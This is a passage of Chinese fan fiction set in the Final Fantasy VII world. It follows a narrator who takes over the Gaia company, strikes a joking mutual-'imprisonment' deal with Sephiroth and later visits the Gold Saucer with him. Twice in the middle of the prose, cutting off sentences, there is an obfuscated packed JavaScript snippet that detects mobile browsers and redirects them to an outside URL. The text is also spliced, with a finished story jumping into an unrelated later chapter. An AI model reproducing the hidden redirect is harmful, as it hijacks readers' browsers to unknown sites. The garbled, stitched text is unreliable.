“好吧,算你有心了。”我放下杯子,“不过,你能不能别老是像个幽灵一样跟在我后面?这里是盖亚,安保比杰诺瓦还严,萨菲罗斯的手暂时伸不进来。你不用这么紧张。” 我知道他是担心我的安全,自从那天在咖啡馆摊牌后,他就自动自觉地承担起了“保镖”的角色,几乎是寸步不离。虽然有个人形护盾在身边是挺安心的,但走到哪都被一双冰蓝色眼睛盯着,感觉还是有点怪怪的。 克劳德没说话,只是拿起自己的咖啡杯,抿了一口。他垂着眼睑,浓密的睫毛在眼下投下一小片阴影。 “他会的。”过了几秒,他才开口,声音很轻,却带着一种不容置疑的笃定,“萨菲罗斯想要的东西,他一定会拿到手。无论用什么方法。” 谢谢你萨学家。 不过还要谢谢萨菲罗斯,我爹好像有些扛不住了,好像因为年纪实在是大,再加上这么刺激,我估计马上就要当总裁了。 (7) 几天后,我顺利当上了盖亚总裁。 首先是我没有见过面的爹被孝死了,我还得到了很多人的支持。 古贵族爱丽丝小姐——目前在盖亚担任科研部部长。 曾经来自雪崩的蒂法女士(克劳德拉入伙的)——目前担任盖亚安保部部长。 外城五台的复兴忍者尤菲——目前担任盖亚的市场调查员(实际是我在基层的眼线)。 卡姆村的单身父亲□□——目前担任盖亚安保部副部长。 ……还有别人。 看来天下苦杰诺瓦久矣。 幸亏我看起来是那种不大要命的神经病,那些盖亚里原来的老头子都不敢得罪我,自从我把公司里的杯垫全部换成萨菲罗斯的梗图后,他们更加敢怒不敢言了。 大概是感觉我是什么亡命之徒吧(?) 喂,萨菲罗斯,你动不动上新闻的日子到头了。 把市场占额给我。 半年后。 我现在开始想念我之前天天摸鱼吃拼好饭的日子了。 我瘫在符合人体工学设计、价值能买下米德加下层区一栋小房子的总裁椅上,感觉灵魂正在从这具疲惫的躯壳中缓慢抽离。眼前悬浮的虚拟屏幕上,密密麻麻的财务报表和市场分析数据像一群嗡嗡作响的苍蝇,每一个数字都在嘲笑我逝去的青春和自由。 “总裁,这是新能源部门第三季度的预算申请,需要您签字。” “总裁,杰诺瓦那边对我们新推出的‘生命之泉’矿泉水品牌发起了专利诉讼,法务部需要您的指示。” “总裁,关于收购‘神罗科技’旧部资产的提案,董事会那边…” “总裁…” 终端里,各种部门负责人的催促信息像永不停歇的瀑布一样刷屏。我面无表情地用意念关闭了所有弹窗,只想把这该死的、据说是爱丽丝亲自设计的“高效办公系统”连同整栋大楼一起炸飞。 啊,拼好饭,我的九块钱加蛋炒饭,我的大鸡腿,我的可乐…我无比怀念那些在杰诺瓦食堂摸鱼,一边偷偷看轻小说一边给萨菲罗斯发消息辱骂当时“神罗” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与他平日里在财经新闻上看到的形象略有不同,他今天没有穿那身标志性的黑色西装,而是选择了一套更加贴身的、炭灰色的高定礼服,领口微敞,露出线条优美的锁骨。 银色的长发精心打理过,柔顺地披在肩后,随着他的步伐轻轻晃动。 萨菲罗斯的目光首先落在我身上,那双莹绿色的眼眸在柔和的灯光下显得深邃迷人,嘴角甚至还噙着一丝淡淡的笑意,温柔得几乎能让人溺毙其中。 “好久不见。”他开口,声音是一贯的优雅动听,带着一种华丽的质感,“你看起来…有些憔悴。”他的目光在我脸上一扫而过,最后落在我紧握着香槟杯的手上,“盖亚的事务,看来比你想象中要繁重。” 他自然的走到主位上,拉开椅子坐下,动作行云流水,优雅得像是在进行某种仪式。 “还好,”我端起香槟杯朝他示意了一下,“托你的福,萨菲罗斯。贵公司最近动作频频,我们盖亚自然也要打起十二分的精神应对,免得一不小心就被吞并了。” 我故意加重了“吞并”两个字,试图在气势上扳回一城。 “吞并?”萨菲罗斯轻笑一声,给自己倒了一杯红酒,轻轻摇晃着杯身,看着那猩红的液体在杯壁上留下优美的挂痕,“我以为,我们之间讨论的,从来不是吞并,而是‘回归’。” 他的目光转向我身边的克劳德。 “这位是?”萨菲罗斯明知故问,语气里带着毫不掩饰的轻蔑,“盖亚的新任安保主管?看起来,不太专业。” 克劳德放在桌下的手猛地攥紧,兜帽下的阴影更深了。他没有说话,但周身散发出的敌意几乎凝结成了实质。 “这位是克劳德·斯特莱夫,”我抢在克劳德发作前开口,“我的首席助理兼…特别顾问。今天的会面,他代表我处理部分技术性细节。” 我瞎扯了一个头衔,试图抬高克劳德的地位,让他不至于显得太像个单纯的保镖。 “首席助理?”萨菲罗斯挑了挑眉,似乎觉得这个称呼很有趣,“我记得,斯特莱夫先生在杰诺瓦的时候,好像连正式的直属员工都不是吧?看来盖亚选拔人才的标准,还真是…不拘一格。” “杰诺瓦的标准,也未必就代表一切。”克劳德终于开口了,声音低沉而有力,带着一种压抑的怒火,“至少盖亚不会把忠诚的员工当作可以随意丢弃的棋子。”他的目光直视着萨菲罗斯,毫不退让。 我想补充一下,那是前神罗的标准,但现在我好像插不进话,而且我有些还没组织好之前的想法。 “棋子?”萨菲罗斯轻轻晃动着酒杯,猩红的液体在灯光下折射出迷人的光泽,“斯特莱夫先生,看来在盖亚的这段时间,让你对自己的定位产生了某些…有趣的误解。” “每一颗棋子都有其价值,也有其使用期限。”他慢条斯理地说,目光重新落回克劳德身上,带着一种居高临下的审视,“当一颗棋子不再能履行它的职责,甚至试图反噬棋手的时候,被清理出棋盘,不是理所当然的事情吗?” 他的语气温和,像是在阐述一个再简单不过的道理,但那话语里的冷酷意味却让包间内的温度骤降了几分。 “况且,”萨菲罗斯话锋一转,目光又飘向我,语气变得玩味起来,“有些棋子,即便是被丢弃了,也总想着回到不属于它的棋盘上。你说对吗?” 他这话意有所指。 克劳德放在桌下的拳头攥得更紧了,骨节因为用力而微微泛白。兜帽下的呼吸变得有些粗重,冰蓝色的眼睛里燃起怒火。 萨菲罗斯总是能精准的踩到克劳德的痛脚。 我感觉气氛已经到了剑拔弩张的边缘,再让他们说下去,今天这顿饭估计就得变成全武行了。我可不想明天的新闻头条是“盖亚杰诺瓦总裁餐厅斗殴,首席助理一拳干翻银发贵公子”。 好吧,那就直接把我的想法说出来好了。 “萨菲罗斯,我们合作吧,别再打下去了。对了,我想囚禁你,你有什么看法吗?” 我的话音落下,包间内原本就紧绷的空气仿佛瞬间凝固了,连窗外流光溢彩的城市夜景都像被按下了暂停键。 太好了,大家都不说话了,到我出招了。 “萨菲罗斯,你,志向远大,对吧?” 我忽然伸手,学着最近我研究了小半年的商务网剧,向前,握住了他的手。 “盖亚和杰诺瓦平等合作,难道,我们不能更好的走向世界,走向星际吗?” “还有,你很在乎我,对吧。那太巧了,我也在乎你,我俩商量下吧。一周你让我囚禁一天,我让你囚禁一天行不行?” 克劳德看起来好像在问自己有没有睡醒。 我对面的萨菲罗斯,反应则更加耐人寻味。 他脸上那种居高临下、带着玩味和轻蔑的表情,在听到“囚禁”两个字时,出现了一瞬间的凝滞。那双深邃的莹绿色眼眸微微睁大了一点,里面飞快地掠过一丝…讶异?不,可能更像是某种被打乱了预定节奏的错愕。 他没有立刻抽回被我握住的手,只是任由我的手指覆盖在他带着温度的、骨节分明的手背上。 几秒钟后,在我思考着要不要尬笑一声直接开吃甜品时,萨菲罗斯终于动了。 他轻轻地、用一种近乎玩味的姿态,反客为主,将我的手包裹在他的掌心。他的手指修长而有力,带着薄茧的指腹在我手背上不紧不慢地摩挲着,带来一阵细微却不容忽视的痒意。 然后,他抬起眼帘,看向我,嘴角缓缓勾起一抹极其浅淡的弧度。那笑容不再是刚才那种带着嘲讽的冷笑,而是某种…更复杂、更难以捉摸的东西,像是在欣赏一场出乎意料却又格外有趣的戏剧。 “囚禁我?”萨菲罗斯的声音打破了沉默,依旧是那种华丽优雅的调子,却染上了一层低沉的、让人心头发麻的磁性,“你总是能给我带来惊喜。” 他看着我,眼神里带着探究:“告诉我,这个‘惊喜’,是你经过深思熟虑后的商业策略,还是…某种别出心裁的,表达‘在乎’的方式?” “好。” 红酒杯被他放下,他答应了。 (9) 克劳德要叛出盖亚了。 当我回到盖亚,就收到了他的辞职信。 “……” 于是我把他也囚禁起来了。 杰诺瓦传统强制艺能,真方便。 克劳德,你知道的太多了,但我又不可能干掉他。 再说,难道带领整个星球一起积极向上的计划他不喜欢吗?大家都能得到幸福。 回到我那个大大的别墅(其实克劳德一直就和我住在这里),他本来就没收拾行李就打算直接润,结果被我阴险的机关放倒了。 金发男人被我绑在沙发上,他低着头,一言不发,我在他旁边坐着,一边吃爆米花一边看小爽剧。 过了会,我发问。 “克劳德,你为什么要跑呢?这难道不是合家欢结局吗?没有任何人受伤……” “那你呢?” 我?这是我主动提出的方案啊! “我当然没什么事啊。”我理所当然地回答,抓起一把爆米花塞进嘴里,嚼得嘎嘣脆响,眼睛还盯着屏幕上那个正在大杀四方的爽剧男主角,“你看我现在不是好好的?吃着爆米花,看着剧,人生巅峰了好吗?” 我暂停了播放,转过头,认真地看着被绑得像个粽子似的克劳德。他身上那件新买的黑色连帽衫因为挣扎(虽然是徒劳的)而皱巴巴的。 “而且,这整个计划,”我摊开手,示意了一下这个宽敞得能跑马的别墅客厅,“对所有人都好啊!盖亚和杰诺瓦不打了,经济腾飞,大家安居乐业,一起奔向星辰大海!萨菲罗斯呢,他也得到了他想要的——嗯,就是那个‘合作’,还有,那个,我。” 我顿了顿,觉得最后一点说得不太对劲,但又懒得改口。 “至于你,”我指了指他,“你也安全了啊!你看,你留在我身边,萨菲罗斯就不会再找你麻烦了,我还能给你发高薪,让你住大别墅,每天给你点双份棉花糖的热可可。这不比你出去风餐露宿,或者去天桥底下跟流浪汉抢纸箱子强多了?” 我觉得我的逻辑完美无缺,简直是三赢——不,是四赢!连那个已经被孝死了的便宜爹都算上的话。 “……你这样,会幸福吗?” “是你觉得不幸福吧。克劳德,你在想什么?” 克劳德低垂的脑袋终于抬了起来。那双冰蓝色的眸子在客厅柔和的灯光下,显得异常清晰。 接着,他开始跟我发表一系列作为资深萨学家的发言,什么萨菲罗斯很危险,他会独占会控制,会摧毁,会腐蚀我什么什么的。 说完之后,克劳德那头金毛都有些蔫掉了。 我边吃爆米花边等他说完,然后,突然把一颗塞进他的嘴里,接着凑近了些,与他四目相对。 “克劳德,我没有你想的这么需要保护。” 他沉默了很久,才慢慢的,十分小声的,用几近是呢喃的音量说了什么。 “……你反正也不需要我了。” “那就让我走吧。” “哈?” 我嚼爆米花的动作停了下来,咔嚓声消失在突然安静的客厅里。 “不需要你了?”我重复着克劳德那句轻得像叹息的话,歪着头看他,“谁说的?我说的吗?” 克劳德没吭声,只是把头偏向一边,避开了我的视线,那副样子像极了以前被我抢走限量版游戏卡带时的委屈模样。只不过现在,他眼神里的东西可比“委屈”要复杂得多。 又装死自闭了。 所以他是因为这个闹辞职? “那你要我怎样证明我需要你?” (此处省略一些奇怪的情节) (10) 第一天到了,萨菲罗斯衣冠楚楚的来了我的别墅门口。 这是我的囚禁时间。 然后我逼着他跟我和克劳德一起吃了一顿18元(平均下来每人6元)的拼好饭。 晚上。 电视屏幕上正播放着一部制作粗糙、剧情弱智的网络短剧,男女主角正因为一点鸡毛蒜皮的小事吵得不可开交,背景音乐是罐头音效库里扒拉出来的廉价电子乐,聒噪又刺耳。 我瘫在沙发中间最舒服的位置,怀里抱着一桶家庭装的焦糖爆米花,时不时抓一把塞进嘴里,看得津津有味。 左边,是坐姿僵硬、浑身写满了“警惕”和“不适”的克劳德。 他连兜帽都没摘,整个人缩在阴影里,双手紧紧放在膝盖上,视线虽然也落在电视屏幕上,但那双冰蓝色的眼睛显然没什么焦距,更像是在高度戒备着什么。 他离我大概有一臂的距离,身体微微向外侧倾斜,努力维持着一个“安全距离”。 右边,则是和我这边画风完全不同的萨菲罗斯。 他优雅地靠着沙发背,双腿交叠,即使身上穿着被我强行换上的、印着卡通陆行鸟图案的宽松居家服(这衣服是我上次恶搞盖亚公司团建时剩下的),也丝毫不减他那份仿佛与生俱来的矜贵气质。 银色的长发柔顺地披散下来,几缕落在浅黄色的陆行鸟图案上,有种诡异的和谐感。 他手里也拿了个空杯子,里面什么也没装,只是用修长的手指无意识地转动着杯底。他的目光平静地落在屏幕上,好像真的在认真观看这部短剧,但那双莹绿色的眼眸深处,却没有任何情绪波动,像一潭深不见底的、结了冰的湖水。 我抓了一把爆米花。 看到大家看的都开心我就放心了。 真好啊,我们未来可期。 完。 62.第58章 缆车缓慢地爬升,窗外的景色也随之变化。 金蝶游乐园,即使只是远远看着,也能感受到那股扑面而来的奢华与喧嚣。各种造型夸张的飞艇在乐园上空穿梭,投下巨大的阴影,与地面上闪烁的灯光交织成一片迷离的光网。 我对面的那个小孩都要把脸贴在玻璃上了。 【“金蝶游乐园,盖亚星球上规模最大、设施最全面的娱乐综合体。能源消耗占据了科雷尔地区总输出的百分之三十七点八。”】 【“这里的每一块砖,每一盏灯,都建立在对星球资源的无度开采之上。”】 我觉得萨菲罗斯可以加入雪崩了,他看起来也是环保卫士,当年我做掉艾尔菲的时候就应该跟他一起当场接管雪崩总部。 缆车伴随着轻微的震动停靠在了巨大的环形站台上。 厚重的舱门缓缓开启,一股混杂着甜腻爆米花香、消毒水气味以及人群喧闹声的热浪扑面而来。各种奇装异服的人从我们这节车厢涌出,脸上都带着迫不及待的兴奋表情。 我数了数口袋里的Gil,嗯……有3000吧?可以买个一次性入场票,然后—— 我的视线立马被吸引了。 那是一个穿着陆行鸟玩偶服的工作人员。 玩偶服比正常的陆行鸟还要肥硕两圈,圆滚滚的身体套在一个应该是成年男性的工作人员身上。 他正笨拙地向涌出缆车的人群挥动着短小的翅膀,脑袋上的翎羽随着动作一颠一颠的,看起来傻气又可爱。 【“我们的目标是金蝶内的钥匙石。”】 我盯着那只超大陆行鸟。 【“钥匙石。”】 工作人员注意到了我灼热的视线,先是因为我的奇怪装束愣了愣,但还是极其富有营业精神的介绍。 “库啵库啵!欢迎来到金蝶游乐园!” “……” --- 十分钟后。 金蝶游乐园的角落里灵活的蹦出一只黄色的陆行鸟玩偶,它与其他工作人员不同的是,在金色的头顶,还有一团黑色的不明物质。 【“……”】 陆行鸟思考着接下来去哪玩。 径直往前走,收门票的人以为它是乐园的工作人员,直接无视了它。 走进园里,此时的人不是很多,毕竟刚刚他们坐的是金蝶的第一班缆车,大多的人都还挤在售票处。 她还在东张西望着,忽地感觉到有什么东西戳了戳她皮套的后背。 “库啵!库啵啵!” 一个梳着双马尾的小女孩,手里拿着一个巨大的七彩棉花糖,鼓起勇气跑到它面前,仰着小脸,用左手戳了戳它的羽毛后,大声地模仿着玩偶服工作人员刚才的口号。 “嗯?” 她扮演的陆行鸟歪了歪头,接着,用翅膀笨拙地拍了拍小女孩的头顶。 在小女孩用亮晶晶的眼睛注视着她的一瞬—— 一只套着黑色袖子的手以迅雷不及掩耳之势从陆行鸟的嘴里伸出来,直接把那团棉花糖抢进了皮套里。 萨菲罗斯缓慢的蠕动停滞了。 小女孩的眼睛瞪大了,她好似是不确定一样,盯着自己空空如也的掌心。 过了几秒,才意识到发生了什么,那对眸子里马上就积满了泪水,随后,是哭嚎声。 “哇呜——!!” 此处只是入口,没有什么人,但周围的视线在刹那间聚焦于此。 萨菲罗斯听见了她在皮套里吧唧吧唧吃着东西的声音。 “萨菲罗斯,你要尝尝吗?我给你留一半。” ……某种程度上,他还是高估了她。 好奇和警惕的注视越来越多,萨菲罗斯的触手颤动了一下。 然后,那团黑色的史莱姆稍稍伸出了一段小触手,轻轻的,仿佛是碰什么易碎品一样,拍了拍女孩的脑袋。 “呜……” 女孩的哭声渐渐弱了下来,她大概是把他认成了游乐园的特殊玩具,含着泪水的眼巴巴的盯着金色陆行鸟头上的那一团。 触手慢慢的伸了回去。 紧接着,更多的“麻烦”主动凑了上来。 “哇!这个黑色的东西也会动诶!” 一个梳着羊角辫的小女孩,手里举着一根快要融化的巧克力棒冰,大声惊呼道,试图用那根脏兮兮的棒冰去戳萨菲罗斯。 “妈妈!你看!陆行鸟的头上有个史莱姆!” 另一个穿着背带裤的小男孩,拽着他母亲的衣角,指着萨菲罗斯尖叫,不过他的语气里更多的是兴奋而非恐惧。 他手里那串色彩鲜艳的糖葫芦,因为他剧烈的动作而晃来晃去,红色的糖浆眼看就要滴落下来。 “它好像是活的!你们看,它在发光!” 孩子们叽叽喳喳地围了上来,将她扮演的陆行鸟围得水泄不通。 他们的小脸上都洋溢着孩童特有的、毫无顾忌的好奇与探索欲,手中五花八门的零食高高举起,像是某种献祭仪式。 萨菲罗斯的本体轻轻蠕动了一下,从墨黑色的胶状体表面,浮现出几缕更加深邃的、宛如宇宙星云般流转的碧绿色光芒。 【“……”】 他能清晰地感知到,就在那只被霍莉操控着的、笨拙的黄色“鸟喙”下方,棉花糖正在被迅速消灭,细微的咀嚼声和糖丝断裂的声音,混合着对方满足的、几不可闻的轻哼,持续不断地传入他的感知中。 还在吃东西。 萨菲罗斯稍稍调整了一下“趴伏”的姿态,用一根极细的黑色触须,不着痕迹地拨开了一根试图戳到他本体的、沾满了奶油的塑料勺子。 这一下拨弄极为轻巧,那孩子甚至没有察觉,只以为是自己手滑。 一只戴着白色手套的小手,颤颤巍巍地将一颗用玻璃纸包着的、晶莹剔透的苹果糖递到了陆行鸟的“鸟喙”前。 那孩子的声音带着怯生生的期待:“陆行鸟先生,这个给你吃,你头上的小黑,能让我摸一下吗?” 萨菲罗斯的本体微微收缩了一下,碧绿色的光芒流转得更快了。 “哇!小黑好像真的在看那颗糖诶!” 一个顶着蘑菇头的男孩叫道,他手里抓着一串吃了一半的章鱼烧,酱汁沾满了嘴角,“它会吃吗?” “笨蛋,它只是一坨黏胶啦,怎么可能吃东西!”另一个穿着公主裙的小女孩反驳,她扬着下巴,努力让自己看起来很懂行,“这种是新型的宠物玩具,会发光,还会动的!” “才不是玩具呢!” 最初那个被抢了棉花糖的双马尾女孩,此刻已经擦干了眼泪,她吸了吸鼻子,指着萨菲罗斯大声宣布。 “它是陆行鸟先生的帽子!一个会发光的魔法帽子!” “真的吗?魔法帽子?” 最小的那个、还穿着开裆裤的男孩,努力踮起脚尖想要看得更清楚,他含着手指,口齿不清地问。 “那,那它会变出糖果吗?” 孩子们七嘴八舌的讨论着。 此时,她正好解决了棉花糖。 陆行鸟的头套随之颤动了下,接着,一只手从鸟喙的开口处伸出,干净利落的抢走了那把苹果糖。 男孩期待的看着她。 陆行鸟内传出的声音有些闷。 “不给,他是我的东西。” 接着,这只赖账的陆行鸟就扑哧扑哧的跑开了,速度快到孩子们都没反应过来。 他是她的东西? 似曾相识的语句。 萨菲罗斯很确定,自己在她眼里已经不是那个被误解的“系统”了。 不过,她的思维总是异于普遍的逻辑。 周围的场景在急速奔跑中变得模糊不清,只有各种色彩斑斓的光影在眼前飞速掠过,间或夹杂着孩童们逐渐远去的、混杂着惊讶与不满的叫喊声。 【“……我不是你的系统了。”】 萨菲罗斯确定似的开口。 时不时的,他能听到她的心声——不过那样的时候很少。 或许,直到他完全掌控生命之流…… 萨菲罗斯也知晓。 如果能够获取完全的心声,或许一开始可以便于他更好的引导她—— 但她那灿烂的不确定性就会消失。 简单的取舍。 她还是没有回复他的话。 要再问一次吗? 童声的喧闹消失,取而代之的是游乐园更深处传来的、更为嘈杂喧嚣的乐曲和人群的欢呼,他们停留在了广场的角落。 这里到处都是稀奇古怪的玩偶,一只黄色的普通陆行鸟并不引人注目。 阳光透过稀疏的遮阳棚,在地面投下晃动的光斑,空气中弥漫着烤香肠、炸薯条和各种甜点混合在一起的浓郁香气。 “你说什么?” 她停下了奔跑,将陆行鸟那因为奔波而不稳的脑袋扶正,疑惑的询问他。 他没有立刻回答。 那颗被抢来的苹果糖在她口中发出清脆的碎裂声。 每一次咀嚼,都伴随着一股人工合成的甜腻与苹果本身的微酸。 糖衣的坚硬外壳被咬开的瞬间,那股甜味如何冲击着味蕾,紧接着是苹果果肉的清脆与多汁—— 接通连接的刹那,感觉清晰地传递给萨菲罗斯。 这是一种新奇的体验。 通过她的视角去感知世界,“品尝”那些他早已不屑一顾的、凡俗的感官刺激。 “说什么啊?萨菲罗斯,你死机了吗?” 她边吃着糖,边嘟囔着。 几缕极细的、闪烁着碧绿色荧光的触须从漆黑的一团中探出,像是触角,轻轻拂过陆行鸟玩偶服粗糙的黄色绒毛。 【“我不是你的系统了。”】 她挑了挑眉。 “我知道啊。” 【“……”】 她知道。 那,怎么还能说出那样的话语? 是认为,在她既定的规划中的未来,自己会是她手下的一员吗? 还是说,她也认可他们之间那独一无二的,永恒的连接呢? 又或者—— “所以呢?你就是萨菲罗斯啊。” 她的语气平淡得如同陈述一个无需辩驳的事实,仿佛“他是萨菲罗斯”这件事本身,就足以解释一切,也足以成为她宣称“他是我的东西”的全部理由。 又是这样理所应当的逻辑。 一只手从鸟喙之中伸出,然后,某个甜腻的,柔软的东西凑近他的本体。 那是半颗棉花糖。 她之前随口说的——要给他留一半。 “喏。” “……” 一根极细的、闪烁着微弱碧光的黑色触须,从他的本体上探了出来,像一条羞怯的蛇,犹豫地、缓慢地,朝着那半块棉花糖的边缘靠近。 触须的尖端,轻轻触碰到了棉花糖那蓬松柔软的表面。 一种黏腻、带着些微弹性的触感,透过连接,清晰地传递到萨菲罗斯的感知中。 “快点啊,要化了。” 陆行鸟头套里传来她含混不清的催促,因为嘴里还塞着另一半苹果糖,声音闷闷的,带着几分孩子气的不耐烦。 萨菲罗斯没有回应她的催促。 他的触须在那棉花糖的表面停留了片刻,然后,像是出于一种连他自己也无法完全解析的好奇——那根纤细的触须,忽然加速,如同针尖刺入海绵般,轻巧无声地没入了那团粉白色的甜腻之中。 霎时间,一股强烈的、蛮横的、几乎是粗暴的甜味,如同决堤的洪流,顺着那根细小的连接通道,汹涌地灌入了他的感知。 那不是通过“共享”品尝到的味道,而是一种更为直接、更为纯粹的感官冲击。 就像是有人将一整桶融化的糖浆,直接倾倒进了他的“灵魂”深处。 紧接着,是苹果糖被咬碎时传递过来的、更为复杂的体验—— 坚硬糖衣碎裂的“咔嚓”声,以及其后涌现的、帶著微酸的清爽果香,与先前那股纯粹的甜腻交织在一起。 这些感觉,通过她那活跃的、对一切新奇事物都充满探索欲的感官,被数倍放大,然后毫无保留地传递过来。 真是……粗俗的味道。 萨菲罗斯的“意识”中,浮现出这样一个评价。 廉价的甜味剂,人工合成的香料,粗糙的口感。 但,与这种居高临下的评判同时存在的,还有一种奇异的……鲜活感。 就像是黑白默片中,突然闯入了一抹浓烈到刺眼的色彩。 这感觉并不“愉悦”,却足够“深刻”。 那只戴着陆行鸟手套的手缩了回去,大概是去解决最后一口苹果糖了。 空气中只剩下那股甜腻的味道还在若有若无地飘散。 “怎么样,好吃吧?” --- 随着触动显现的,是对于他而言,罕见的,朦朦胧胧的认知—— 她清晰地知道他是谁,知道他们之间发生过什么,知道他们未来将要走向何方。 在这样的认知下,她依旧说出了这句话。 仿佛他属于她,如同星辰属于夜空,如同利刃属于战士。 --- 【“嗯,不错。”】 萨菲罗斯没有再问那个问题了。 “喂,萨菲罗斯,下一个我们去哪里玩?” 陆行鸟头套里传来她有些含糊的声音,大概是苹果糖的糖浆还粘在牙齿上,让她说话不太利索。 “那个看起来很高很刺激的跳楼机怎么样?还是去打枪赢个更大的玩偶回来?” 萨菲罗斯的胶状体轻轻蠕动了一下,几根细长的黑色触须从边缘伸出,拂过陆行鸟玩偶服的眼部网格,像是透过那层阻隔在观察她。 【“跳楼机?那种瞬间的失重感,对你而言,与从神罗大厦顶端跃下相比,恐怕只是微不足道的刺激。”】 “唔,有道理。” 就在此时,在广场的另一面—— 一只体型异常巨大的白色莫古力玩偶,正以一种与其臃肿外表不符的敏捷姿态,在人群中穿梭。 更引人注目的是,在那莫古力玩偶的头顶,端坐着一只身形娇小的、戴着王冠的黑猫玩偶。 那黑猫玩偶的动作带着一种程式化的僵硬,却又在某些细节处透露出刻意的优雅。它小小的爪子紧抓着白色莫古力的绒毛,动作有些急躁。 她的注意力又被吸引走了。 从他这里,轻飘飘地转向了广场另一端那对滑稽的玩偶组合。 总是如此。 【“那只猫。”】 【“它在模仿某种王室成员的姿态,但动作的协调性很差,关节的活动也受限于玩偶本身的结构。它试图表现出高贵,结果却显得更加可笑。”】 【“这样的表演,除了能博取那些无知孩童的片刻欢愉,又有何意义?”】 她没有理睬他。 那一团漆黑稍微蠕动,慢慢的,好像缩了缩。 【“……”】 陆行鸟的动作很快,飞快地就跑到了那对组合面前。 “嘿——!你好!呃……我要迟到了!你有什么事吗?” 她陆行鸟的爪子指了指那只莫古力。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545074|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “能把它给我吗?” “啊……哎!不可以!” 不知为何,那只“猫”好像意识到了什么,它那由电流合成的声音都带了点颤抖。 --- 萨菲罗斯一下便知晓了在皮套的对面那人的身份。 神罗的城市开发部部长——里维。 为了钥匙石埋伏在金蝶吗?还是说,在这里等待着他们。 对于神罗知晓他们的踪迹,他一点都不意外,毕竟,他与她从未刻意伪装。 因为不需要。 --- “……” 她已经伸出了手。 “等等!我可以帮你免费占卜未来!” “免费占卜未来?” 巨大的黄色鸟喙微微侧了侧,她的声音从玩偶服内传出,因为隔着厚实的填充物而显得有些含糊不清。 “你这机器人,看起来不太聪明的样子,算的准吗?” 那只名为凯特·西的黑猫玩偶,听到对方的质疑,身体夸张地晃动了一下,连带着身下的莫古力也跟着摇摆。 扩音器里传出经过处理的、尖细而欢快的电子音:“库啵!这位头顶着神秘黑色史莱姆的陆行鸟贵客!您可不能以貌取‘猫’啊!我凯特·西的占卜,可是金蝶乐园的隐藏王牌!无数迷途的羔羊都在我的指引下找到了幸福的方向呢!” 它挥舞着短小的爪子,语气极为浮夸:“而且,今天可是我的幸运日!我决定为有缘的客人提供一次完全免费的、洞察未来的机会!您,就是那位幸运儿!” 陆行鸟向前迈了两步,巨大的脚掌踩在地面上发出“噗噗”的闷响。 她凑近了凯特·西,那颗黄色的脑袋几乎要顶到莫古力的肚子。 她大概是会算一些跟“皇帝”梦有关的东西?或者……什么时候把他踩在脚下? 陆行鸟的爪子戳了戳莫古力的脑袋。 “你帮我算一下《系统之我在米德加开诊所》什么时候完结吧。” 扩音器里那尖细欢快的电子音卡顿了足足有三秒,才重新响起,只是这一次,语调里多了几分小心翼翼和试探:“库啵?这位…品味独特的陆行鸟贵客,您确定要占卜的…是这个…嗯…小说的…未来?” 凯特·西那对用毛毡缝制的小爪子不自觉地搓了搓,他那台小型占卜终端上的指示灯也开始无规律地胡乱闪烁起来,显然是被这个要求搞得有些系统紊乱。 “当然确定!” 陆行鸟玩偶服里传出她不耐烦的声音。 “难道你这破机器连这种小事都算不出来吗?金蝶乐园的隐藏王牌?我看是隐藏废铁吧!” “库啵啵啵!请稍安勿躁,贵客!请稍安勿躁!” 凯特·西的声音瞬间拔高,带着几分被戳穿后的恼羞成怒,以及强行挽尊的虚张声势。 “任何问题,无论多么…嗯…新颖别致,都难不倒我伟大的凯特·西!” 他控制着身下的莫古力玩偶笨拙地后退了半步,拉开了与那只咄咄逼人的大鸟的距离,然后深吸一口气,仿佛要进行什么神圣的仪式。 “那么,就让我看看这本…呃…伟大的著作,它的命运究竟如何!” 凯特·西猛地一挥爪子,他胸前那个小小的、一直沉默不语的扩音器里,忽然爆发出了一阵嘈杂而滑稽的音效,像是老旧的齿轮在艰难转动,又夹杂着几声莫古力经典的“库啵”叫声,最终以一声响亮的铜锣声收尾。 “命运的齿轮开始转动了,库啵!” 凯特·西用咏叹调般的语气宣布。 “我看到了!我看到了纷繁复杂的未来!” 接着,一张纸条从莫古力的手中出现。 【“凡事要自己去做,才会有转机。”】 “……” 陆行鸟的头颤动了一下。 “这是什么鬼?” 她的爪子又要往那只莫古力身上拍,凯特西叫了一声。 “等等——!唔——呃,陆行鸟贵客,你换一个问题呢?!” “换一个?为什么?” 凯特·西的小爪子在胸前胡乱地摆动着,扩音器里的声音因为急促而显得更加滑稽:“库库库啵!是这样的,尊贵的客人!” “关于…嗯…文学作品的未来走向,这涉及到创作者的灵感波动、读者的期待变迁、乃至…宇宙中无数巧合的汇聚!其复杂程度,远超一般的命运轨迹!” 他顿了顿,似乎在搜肠刮肚地寻找合适的说辞。 “简单来说,就是…服务器压力太大了啦!会对我的核心占卜模块造成不可逆的损伤!” “好吧,”那只陆行鸟用翅膀,或者说,是用那只套着翅膀形状的粗布手套,指向了凯特·西,“那就给我算算,我什么时候能当上盖亚的皇帝?” “库啵——咳咳!” 凯特·西像是被自己的口水呛到一般,发出一连串古怪的声响,他控制着身下那只白色的、胖乎乎的莫古力玩偶,笨拙地向后挪动了小半步,似乎想要拉开与这只“野心勃勃”的陆行鸟之间的物理距离。 “尊,尊贵的客人,”凯特·西的声音比先前还要小心翼翼,甚至带上了一丝颤音,“您,您这个问题,可真是……嗯,格局宏大,气吞山河啊,库啵!” “是吧是吧!我就说我很有眼光!” 陆行鸟玩偶服里传出她得意洋洋的声音,她甚至还用那套着黄色翅膀的手套,拍了拍自己的胸脯,发出“嘭嘭”的闷响。 “快给我算算,本皇帝什么时候能登基?有没有什么加急通道?” 